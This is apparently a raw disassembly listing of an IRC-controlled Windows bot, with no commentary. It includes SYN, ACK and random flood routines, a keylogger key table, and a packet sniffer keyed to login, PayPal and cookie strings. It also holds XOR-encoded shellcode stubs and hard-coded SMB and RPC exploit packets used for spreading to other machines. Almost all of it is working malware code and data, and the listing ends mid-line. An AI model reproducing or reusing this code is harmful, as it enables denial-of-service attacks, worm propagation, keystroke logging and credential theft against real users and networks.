8DA5D42h dd 164Ch, 86FA027Ch, 5CF9D6F4h, 11D379CBh, 8A42h, 9F9300AAh dd 0F52D31DAh, 0E1EA081Ch, 0F5CA5B6Ah, 3B72h, 0BDBD028Bh dd 321D77D7h, 764F6DF2h, 80374F67h, 9F4B8341h, 3AA393DCh dd 6F9A56BDh, 1B500E4h, 6A20CF5Ch, 0D9284D20h, 0F3FD5483h dd 1B20000h, 0F9C5030Ah, 57D59716h, 0B3691C4Ch, 2610000h dd 4EDBD023h, 0EF095612h, 5D1D3F12h, 210000h, 813C7004h dd 7FA6DF6h, 70C5C194h, 0CAB6h, 0C71D0022h, 6A3865A1h dd 6D5EE776h, 634C159h, 2620000h, 0A0669F24h, 6BDDD862h dd 46BDB251h, 0DEC7CCD3h, 89251DA4h, 0EA42C0h, 30ED36D4h dd 0AD2F8341h, 0EB5C17DCh, 14Bh dup(0) seg001 ends ; Section 3. (virtual address 00023000) ; Virtual size : 00048000 ( 294912.) ; Section size in file : 00048000 ( 294912.) ; Offset to raw data for section: 00023000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 423000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_423000 dd 0 dd offset sub_4036CF dd offset sub_404EE6 dd offset sub_4200A4 dword_423010 dd 0 dword_423014 dd 0 dd offset sub_416832 dd offset sub_41C364 dd offset sub_41D0B6 dd offset sub_41DF28 dword_423028 dd 0 dword_42302C dd 0 dd offset sub_41D15B dword_423034 dd 0 dword_423038 dd 0 dd offset sub_41DF39 dword_423040 dd 4 dup(0) unk_423050 db 2 ; DATA XREF: start+5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_42308C db 2 ; DATA XREF: seg000:004013B4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_4011C2o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:004011A3o align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 10h unk_4231E0 db 2 ; DATA XREF: seg000:00401509o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 unk_42322C db 2 ; DATA XREF: seg000:00401490o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 dword_423274 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40182E+48o dd 2029206Ch, 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 10h dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4232E0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+4EBo dd 2029206Ch, 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_423344 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+44Fo dd 2029206Ch, 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401BD6+312o ; seg000:0040F961o ... align 10h aAck db 'ack',0 ; DATA XREF: sub_401BD6+2F2o ; seg000:0040F94Ao aSyn db 'syn',0 ; DATA XREF: sub_401BD6+2D2o ; seg000:0040F932o dword_4233B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+15Fo dd 2029206Ch, 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4233EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+EEo dd 2029206Ch, 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_423438 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+70o dd 2029206Ch, 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: seg000:loc_4022DEo unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_423BB4 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_423BEC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh ; DATA XREF: seg000:004021C8o dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o align 4 aAb db 'ab',0 ; DATA XREF: seg000:00402168o ; seg000:0040F810o align 10h asc_423C30: ; DATA XREF: seg000:00402146o unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: seg000:00402423o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:004023E0o align 10h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:0040228Ao align 10h off_423C80 dd offset dword_4244F8 ; DATA XREF: seg000:0040277Ar dd offset off_4244F4 dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 3 dup(0) dword_423CA4 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: seg002:00423C8Co align 10h aFtp db 'FTP',0 ; DATA XREF: seg002:00423C88o off_4244F4 dd offset aHeloRndnickMai+3Dh ; DATA XREF: seg002:00423C84o dword_4244F8 dd 544F42h unk_4244FC db 2 ; DATA XREF: seg000:004027D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_424544 db 2 ; DATA XREF: seg000:00402787o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: seg000:00402711o align 4 unk_424598 db 2 ; DATA XREF: seg000:00402662o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 4 unk_4245E4 db 2 ; DATA XREF: seg000:004025DFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 dword_42462C dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h ; DATA XREF: seg000:00402561o dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 73203A72h dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h dd 64656E72h, 253C203Ah, 2E3E64h, 0 ; --------------------------------------------------------------------------- jmp short loc_42468A ; =============== S U B R O U T I N E ======================================= sub_42467A proc far ; CODE XREF: sub_42467A:loc_42468Ap pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_424682: ; CODE XREF: sub_42467A+Cj xor byte ptr [ebx+ecx], 99h loop loc_424682 jmp short loc_42468F ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: seg002:00424678j call near ptr sub_42467A loc_42468F: ; CODE XREF: sub_42467A+Ej jo short loc_4246F3 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_424711 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_4246F3: ; CODE XREF: sub_42467A:loc_42468Fj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_424711: ; CODE XREF: sub_42467A+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_42467A endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_4247B8: ; DATA XREF: sub_402988+150o ; sub_402988+20Do jmp short loc_4247CA ; =============== S U B R O U T I N E ======================================= sub_4247BA proc near ; CODE XREF: sub_4247BA:loc_4247CAp pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_4247C2: ; CODE XREF: sub_4247BA+Cj xor byte ptr [edx+ecx], 99h loop loc_4247C2 jmp short loc_4247CF ; --------------------------------------------------------------------------- loc_4247CA: ; CODE XREF: seg002:loc_4247B8j call sub_4247BA loc_4247CF: ; CODE XREF: sub_4247BA+Ej jo short near ptr dword_424748+1Eh cwde cdq cdq retn sub_4247BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_424868 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_402988+101o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_424950 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_402DDD+7Fo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4249DC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DDD+AAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_424A88 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DDD+CFo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_424B68 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+57o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_402988+86o unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_424BCC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+2B0o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_424C38 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+2DBo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_424CDC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+3C3o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_424D5C dd offset loc_401495 ; DATA XREF: sub_402988+3F1o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset dword_406DE4+298h dd 1, 0 dd 1, 0 dd offset dword_406DE4+298h dd 1, 0 dd 1, 0 dd offset dword_406DE4+298h dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_424DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+314o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_424E5C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+33Fo dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_424ED0 dd 0 dd offset 